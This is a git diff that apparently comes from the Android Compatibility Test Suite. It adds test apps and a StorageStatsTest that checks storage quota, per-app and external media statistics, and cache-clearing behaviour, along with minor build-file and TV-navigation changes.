--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
+
+LOCAL_PACKAGE_NAME := CtsStorageAppA
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
new file mode 100644
index 0000000..688bb9d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.storageapp_a">
+
+    <application android:appCategory="video">
+        <uses-library android:name="android.test.runner" />
+        <receiver android:name="com.android.cts.storageapp.UtilsReceiver" android:exported="true" />
+        <provider
+            android:name="com.android.cts.storageapp.UtilsProvider"
+            android:authorities="com.android.cts.storageapp_a"
+            android:exported="true" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.storageapp_a" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
new file mode 100644
index 0000000..2177da1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
+
+LOCAL_PACKAGE_NAME := CtsStorageAppB
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
new file mode 100644
index 0000000..2e7739c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.storageapp_b">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <receiver android:name="com.android.cts.storageapp.UtilsReceiver" android:exported="true" />
+        <provider
+            android:name="com.android.cts.storageapp.UtilsProvider"
+            android:authorities="com.android.cts.storageapp_b"
+            android:exported="true" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.storageapp_b" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
new file mode 100644
index 0000000..abee640
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := test_current
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+	$(call all-java-files-under, ../StorageApp/src)
+
+LOCAL_PACKAGE_NAME := CtsStorageStatsApp
+
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
new file mode 100644
index 0000000..0c4d9d2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.storagestatsapp">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.storagestatsapp" />
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
new file mode 100644
index 0000000..713ba17
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -0,0 +1,417 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.storagestatsapp;
+
+import static android.os.storage.StorageManager.UUID_DEFAULT;
+
+import static com.android.cts.storageapp.Utils.CACHE_ALL;
+import static com.android.cts.storageapp.Utils.CODE_ALL;
+import static com.android.cts.storageapp.Utils.DATA_ALL;
+import static com.android.cts.storageapp.Utils.MB_IN_BYTES;
+import static com.android.cts.storageapp.Utils.PKG_A;
+import static com.android.cts.storageapp.Utils.PKG_B;
+import static com.android.cts.storageapp.Utils.TAG;
+import static com.android.cts.storageapp.Utils.assertAtLeast;
+import static com.android.cts.storageapp.Utils.assertMostlyEquals;
+import static com.android.cts.storageapp.Utils.getSizeManual;
+import static com.android.cts.storageapp.Utils.logCommand;
+import static com.android.cts.storageapp.Utils.makeUniqueFile;
+import static com.android.cts.storageapp.Utils.shouldHaveQuota;
+import static com.android.cts.storageapp.Utils.useFallocate;
+import static com.android.cts.storageapp.Utils.useSpace;
+import static com.android.cts.storageapp.Utils.useWrite;
+
+import android.app.Activity;
+import android.app.usage.ExternalStorageStats;
+import android.app.usage.StorageStats;
+import android.app.usage.StorageStatsManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.UserHandle;
+import android.os.storage.StorageManager;
+import android.support.test.uiautomator.UiDevice;
+import android.system.Os;
+import android.system.StructUtsname;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.util.MutableLong;
+
+import com.android.cts.storageapp.UtilsReceiver;
+
+import junit.framework.AssertionFailedError;
+
+import java.io.File;
+import java.util.UUID;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests to verify {@link StorageStatsManager} behavior.
+ */
+public class StorageStatsTest extends InstrumentationTestCase {
+
+    private Context getContext() {
+        return getInstrumentation().getContext();
+    }
+
+    /**
+     * Require that quota support be fully enabled on kernel 3.18 or newer. This
+     * test verifies that both kernel options and the fstab 'quota' option are
+     * enabled.
+     */
+    public void testVerifyQuota() throws Exception {
+        final StructUtsname uname = Os.uname();
+        if (shouldHaveQuota(uname)) {
+            final StorageStatsManager stats = getContext()
+                    .getSystemService(StorageStatsManager.class);
+            assertTrue("You're running kernel 3.18 or newer (" + uname.release + ") which "
+                    + "means that CONFIG_QUOTA, CONFIG_QFMT_V2, CONFIG_QUOTACTL and the "
+                    + "'quota' fstab option on /data are required",
+                    stats.isQuotaSupported(UUID_DEFAULT));
+        }
+    }
+
+    public void testVerifySummary() throws Exception {
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final long actualTotal = stats.getTotalBytes(UUID_DEFAULT);
+        final long expectedTotal = Environment.getDataDirectory().getTotalSpace();
+        assertAtLeast(expectedTotal, actualTotal);
+
+        final long actualFree = stats.getFreeBytes(UUID_DEFAULT);
+        final long expectedFree = Environment.getDataDirectory().getUsableSpace();
+        assertAtLeast(expectedFree, actualFree);
+    }
+
+    public void testVerifyStats() throws Exception {
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+        final int uid = android.os.Process.myUid();
+        final UserHandle user = UserHandle.getUserHandleForUid(uid);
+
+        final StorageStats beforeApp = stats.queryStatsForUid(UUID_DEFAULT, uid);
+        final StorageStats beforeUser = stats.queryStatsForUser(UUID_DEFAULT, user);
+
+        useSpace(getContext());
+
+        final StorageStats afterApp = stats.queryStatsForUid(UUID_DEFAULT, uid);
+        final StorageStats afterUser = stats.queryStatsForUser(UUID_DEFAULT, user);
+
+        final long deltaCode = CODE_ALL;
+        assertMostlyEquals(deltaCode, afterApp.getAppBytes() - beforeApp.getAppBytes());
+        assertMostlyEquals(deltaCode, afterUser.getAppBytes() - beforeUser.getAppBytes());
+
+        final long deltaData = DATA_ALL;
+        assertMostlyEquals(deltaData, afterApp.getDataBytes() - beforeApp.getDataBytes());
+        assertMostlyEquals(deltaData, afterUser.getDataBytes() - beforeUser.getDataBytes());
+
+        final long deltaCache = CACHE_ALL;
+        assertMostlyEquals(deltaCache, afterApp.getCacheBytes() - beforeApp.getCacheBytes());
+        assertMostlyEquals(deltaCache, afterUser.getCacheBytes() - beforeUser.getCacheBytes());
+    }
+
+    public void testVerifyStatsMultiple() throws Exception {
+        final PackageManager pm = getContext().getPackageManager();
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+
+        final ApplicationInfo a = pm.getApplicationInfo(PKG_A, 0);
+        final ApplicationInfo b = pm.getApplicationInfo(PKG_B, 0);
+
+        final StorageStats as = stats.queryStatsForUid(UUID_DEFAULT, a.uid);
+        final StorageStats bs = stats.queryStatsForUid(UUID_DEFAULT, b.uid);
+
+        assertMostlyEquals(DATA_ALL * 2, as.getDataBytes());
+        assertMostlyEquals(CACHE_ALL * 2, as.getCacheBytes());
+
+        assertMostlyEquals(DATA_ALL, bs.getDataBytes());
+        assertMostlyEquals(CACHE_ALL, bs.getCacheBytes());
+
+        // Since OBB storage space may be shared or isolated between users,
+        // we'll accept either expected or double usage.
+        try {
+            assertMostlyEquals(CODE_ALL * 2, as.getAppBytes(), 5 * MB_IN_BYTES);
+            assertMostlyEquals(CODE_ALL * 1, bs.getAppBytes(), 5 * MB_IN_BYTES);
+        } catch (AssertionFailedError e) {
+            assertMostlyEquals(CODE_ALL * 4, as.getAppBytes(), 5 * MB_IN_BYTES);
+            assertMostlyEquals(CODE_ALL * 2, bs.getAppBytes(), 5 * MB_IN_BYTES);
+        }
+    }
+
+    /**
+     * Create some external files of specific media types and ensure that
+     * they're tracked correctly.
+     */
+    public void testVerifyStatsExternal() throws Exception {
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+        final int uid = android.os.Process.myUid();
+        final UserHandle user = UserHandle.getUserHandleForUid(uid);
+
+        final ExternalStorageStats before = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
+
+        final File dir = Environment.getExternalStorageDirectory();
+        final File downloadsDir = Environment.getExternalStoragePublicDirectory(
+                Environment.DIRECTORY_DOWNLOADS);
+        downloadsDir.mkdirs();
+
+        final File image = new File(dir, System.nanoTime() + ".jpg");
+        final File video = new File(downloadsDir, System.nanoTime() + ".MP4");
+        final File audio = new File(dir, System.nanoTime() + ".png.WaV");
+        final File internal = new File(
+                getContext().getExternalFilesDir(Environment.DIRECTORY_PICTURES), "test.jpg");
+
+        useWrite(image, 2 * MB_IN_BYTES);
+        useWrite(video, 3 * MB_IN_BYTES);
+        useWrite(audio, 5 * MB_IN_BYTES);
+        useWrite(internal, 7 * MB_IN_BYTES);
+
+        final ExternalStorageStats afterInit = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
+
+        assertMostlyEquals(17 * MB_IN_BYTES, afterInit.getTotalBytes() - before.getTotalBytes());
+        assertMostlyEquals(5 * MB_IN_BYTES, afterInit.getAudioBytes() - before.getAudioBytes());
+        assertMostlyEquals(3 * MB_IN_BYTES, afterInit.getVideoBytes() - before.getVideoBytes());
+        assertMostlyEquals(2 * MB_IN_BYTES, afterInit.getImageBytes() - before.getImageBytes());
+        assertMostlyEquals(7 * MB_IN_BYTES, afterInit.getAppBytes() - before.getAppBytes());
+
+        // Rename to ensure that stats are updated
+        video.renameTo(new File(dir, System.nanoTime() + ".PnG"));
+
+        final ExternalStorageStats afterRename = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
+
+        assertMostlyEquals(17 * MB_IN_BYTES, afterRename.getTotalBytes() - before.getTotalBytes());
+        assertMostlyEquals(5 * MB_IN_BYTES, afterRename.getAudioBytes() - before.getAudioBytes());
+        assertMostlyEquals(0 * MB_IN_BYTES, afterRename.getVideoBytes() - before.getVideoBytes());
+        assertMostlyEquals(5 * MB_IN_BYTES, afterRename.getImageBytes() - before.getImageBytes());
+        assertMostlyEquals(7 * MB_IN_BYTES, afterRename.getAppBytes() - before.getAppBytes());
+    }
+
+    /**
+     * Measuring external storage manually should always be consistent with
+     * whatever the stats APIs are returning.
+     */
+    public void testVerifyStatsExternalConsistent() throws Exception {
+        final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
+        final UserHandle user = android.os.Process.myUserHandle();
+
+        useSpace(getContext());
+
+        final File top = Environment.getExternalStorageDirectory();
+        final File pics = Environment
+                .getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
+        pics.mkdirs();
+
+        useWrite(makeUniqueFile(top), 5 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(pics), 5 * MB_IN_BYTES);
+        useWrite(makeUniqueFile(pics), 5 * MB_IN_BYTES);
+
+        // TODO: remove this once 34723223 is fixed
+        logCommand("sync");
+
+        final long manualSize = getSizeManual(Environment.getExternalStorageDirectory(), true);
+        final long statsSize = stats.queryExternalStatsForUser(UUID_DEFAULT, user).getTotalBytes();
+
+        assertMostlyEquals(manualSize, statsSize);
+    }
+
+    public void testVerifyCategory() throws Exception {
+        final PackageManager pm = getContext().getPackageManager();
+        final ApplicationInfo a = pm.getApplicationInfo(PKG_A, 0);
+        final ApplicationInfo b = pm.getApplicationInfo(PKG_B, 0);
+
+        assertEquals(ApplicationInfo.CATEGORY_VIDEO, a.category);
+        assertEquals(ApplicationInfo.CATEGORY_UNDEFINED, b.category);
+    }
+
+    public void testCacheClearing() throws Exception {
+        final Context context = getContext();
+        final StorageManager sm = context.getSystemService(StorageManager.class);
+        final StorageStatsManager stats = context.getSystemService(StorageStatsManager.class);
+        final UserHandle user = android.os.Process.myUserHandle();
+
+        final File filesDir = context.getFilesDir();
+        final UUID filesUuid = sm.getUuidForPath(filesDir);
+        final String pmUuid = filesUuid.equals(StorageManager.UUID_DEFAULT) ? "internal"
+                : filesUuid.toString();
+
+        final long beforeAllocatable = sm.getAllocatableBytes(filesUuid);
+        final long beforeFree = stats.getFreeBytes(filesUuid);
+        final long beforeRaw = filesDir.getUsableSpace();
+
+        Log.d(TAG, "Before raw " + beforeRaw + ", free " + beforeFree + ", allocatable "
+                + beforeAllocatable);
+
+        assertMostlyEquals(0, getCacheBytes(PKG_A, user));
+        assertMostlyEquals(0, getCacheBytes(PKG_B, user));
+
+        // Ask apps to allocate some cached data
+        final long targetA = doAllocateProvider(PKG_A, 0.5, 1262304000);
+        final long targetB = doAllocateProvider(PKG_B, 2.0, 1420070400);
+        final long totalAllocated = targetA + targetB;
+
+        // Apps using up some cache space shouldn't change how much we can
+        // allocate, or how much we think is free; but it should decrease real
+        // disk space.
+        if (stats.isQuotaSupported(filesUuid)) {
+            assertMostlyEquals(beforeAllocatable,
+                    sm.getAllocatableBytes(filesUuid), 10 * MB_IN_BYTES);
+            assertMostlyEquals(beforeFree,
+                    stats.getFreeBytes(filesUuid), 10 * MB_IN_BYTES);
+        } else {
+            assertMostlyEquals(beforeAllocatable - totalAllocated,
+                    sm.getAllocatableBytes(filesUuid), 10 * MB_IN_BYTES);
+            assertMostlyEquals(beforeFree - totalAllocated,
+                    stats.getFreeBytes(filesUuid), 10 * MB_IN_BYTES);
+        }
+        assertMostlyEquals(beforeRaw - totalAllocated,
+                filesDir.getUsableSpace(), 10 * MB_IN_BYTES);
+
+        assertMostlyEquals(targetA, getCacheBytes(PKG_A, user));
+        assertMostlyEquals(targetB, getCacheBytes(PKG_B, user));
+
+        // Allocate some space for ourselves, which should trim away at
+        // over-quota app first, even though its files are newer.
+        final long clear1 = filesDir.getUsableSpace() + (targetB / 2);
+        if (stats.isQuotaSupported(filesUuid)) {
+            sm.allocateBytes(filesUuid, clear1);
+        } else {
+            UiDevice.getInstance(getInstrumentation())
+                    .executeShellCommand("pm trim-caches " + clear1 + " " + pmUuid);
+        }
+
+        assertMostlyEquals(targetA, getCacheBytes(PKG_A, user));
+        assertMostlyEquals(targetB / 2, getCacheBytes(PKG_B, user), 2 * MB_IN_BYTES);
+
+        // Allocate some more space for ourselves, which should now start
+        // trimming away at older app. Since we pivot between the two apps once
+        // they're tied for cache ratios, we expect to clear about half of the
+        // remaining space from each of them.
+        final long clear2 = filesDir.getUsableSpace() + (targetB / 2);
+        if (stats.isQuotaSupported(filesUuid)) {
+            sm.allocateBytes(filesUuid, clear2);
+        } else {
+            UiDevice.getInstance(getInstrumentation())
+                    .executeShellCommand("pm trim-caches " + clear2 + " " + pmUuid);
+        }
+
+        assertMostlyEquals(targetA / 2, getCacheBytes(PKG_A, user), 2 * MB_IN_BYTES);
+        assertMostlyEquals(targetA / 2, getCacheBytes(PKG_B, user), 2 * MB_IN_BYTES);
+    }
+
+    public void testCacheBehavior() throws Exception {
+        final Context context = getContext();
+        final StorageManager sm = context.getSystemService(StorageManager.class);
+        final StorageStatsManager stats = context.getSystemService(StorageStatsManager.class);
+
+        final UUID filesUuid = sm.getUuidForPath(context.getFilesDir());
+        final String pmUuid = filesUuid.equals(StorageManager.UUID_DEFAULT) ? "internal"
+                : filesUuid.toString();
+
+        final File normal = new File(context.getCacheDir(), "normal");
+        final File group = new File(context.getCacheDir(), "group");
+        final File tomb = new File(context.getCacheDir(), "tomb");
+
+        final long size = 2 * MB_IN_BYTES;
+
+        final long normalTime = 1262304000;
+        final long groupTime = 1262303000;
+        final long tombTime = 1262302000;
+
+        normal.mkdir();
+        group.mkdir();
+        tomb.mkdir();
+
+        sm.setCacheBehaviorGroup(group, true);
+        sm.setCacheBehaviorTombstone(tomb, true);
+
+        final File a = useFallocate(makeUniqueFile(normal), size, normalTime);
+        final File b = useFallocate(makeUniqueFile(normal), size, normalTime);
+        final File c = useFallocate(makeUniqueFile(normal), size, normalTime);
+
+        final File d = useFallocate(makeUniqueFile(group), size, groupTime);
+        final File e = useFallocate(makeUniqueFile(group), size, groupTime);
+        final File f = useFallocate(makeUniqueFile(group), size, groupTime);
+
+        final File g = useFallocate(makeUniqueFile(tomb), size, tombTime);
+        final File h = useFallocate(makeUniqueFile(tomb), size, tombTime);
+        final File i = useFallocate(makeUniqueFile(tomb), size, tombTime);
+
+        normal.setLastModified(normalTime);
+        group.setLastModified(groupTime);
+        tomb.setLastModified(tombTime);
+
+        final long clear1 = group.getUsableSpace() + (8 * MB_IN_BYTES);
+        if (stats.isQuotaSupported(filesUuid)) {
+            sm.allocateBytes(filesUuid, clear1);
+        } else {
+            UiDevice.getInstance(getInstrumentation())
+                    .executeShellCommand("pm trim-caches " + clear1 + " " + pmUuid);
+        }
+
+        assertTrue(a.exists());
+        assertTrue(b.exists());
+        assertTrue(c.exists());
+        assertFalse(group.exists());
+        assertFalse(d.exists());
+        assertFalse(e.exists());
+        assertFalse(f.exists());
+        assertTrue(g.exists()); assertEquals(0, g.length());
+        assertTrue(h.exists()); assertEquals(0, h.length());
+        assertTrue(i.exists()); assertEquals(0, i.length());
+    }
+
+    private long getCacheBytes(String pkg, UserHandle user) throws Exception {
+        return getContext().getSystemService(StorageStatsManager.class)
+                .queryStatsForPackage(UUID_DEFAULT, pkg, user).getCacheBytes();
+    }
+
+    private long doAllocateReceiver(String pkg, double fraction, long time) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final Intent intent = new Intent();
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        intent.setComponent(new ComponentName(pkg, UtilsReceiver.class.getName()));
+        intent.putExtra(UtilsReceiver.EXTRA_FRACTION, fraction);
+        intent.putExtra(UtilsReceiver.EXTRA_TIME, time);
+        final MutableLong bytes = new MutableLong(0);
+        getInstrumentation().getTargetContext().sendOrderedBroadcast(intent, null,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        bytes.value = getResultExtras(false).getLong(UtilsReceiver.EXTRA_BYTES);
+                        latch.countDown();
+                    }
+                }, null, Activity.RESULT_CANCELED, null, null);
+        latch.await(30, TimeUnit.SECONDS);
+        return bytes.value;
+    }
+
+    private long doAllocateProvider(String pkg, double fraction, long time) throws Exception {
+        final Bundle args = new Bundle();
+        args.putDouble(UtilsReceiver.EXTRA_FRACTION, fraction);
+        args.putLong(UtilsReceiver.EXTRA_TIME, time);
+
+        try (final ContentProviderClient client = getContext().getContentResolver()
+                .acquireContentProviderClient(pkg)) {
+            final Bundle res = client.call(pkg, pkg, args);
+            return res.getLong(UtilsReceiver.EXTRA_BYTES);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index ddad5c4..18c8aec 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -21,10 +21,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 13d4b7a..652ebfb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
@@ -21,10 +21,11 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
-    ub-uiautomator \
-    legacy-android-test
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index dc7afad..2981e7b 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -267,6 +267,11 @@
         getUiDevice().pressBack();
         waitForIdle();
 
+        if (isTv()) {
+            getUiDevice().pressHome();
+            waitForIdle();
+        }
+
         // Open the app details settings
         Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
         intent.addCategory(Intent.CATEGORY_DEFAULT);
@@ -506,4 +511,9 @@
         getInstrumentation().getUiAutomation().waitForIdle(IDLE_TIMEOUT_MILLIS,
                 GLOBAL_TIMEOUT_MILLIS);
     }
+
+    private static boolean isTv() {
+        return getInstrumentation().getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+    }
  }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
index d280372..739f220 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index a02d791..bda6782 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -22,7 +22,7 @@
     ../PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/GrantUriPermission.java
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
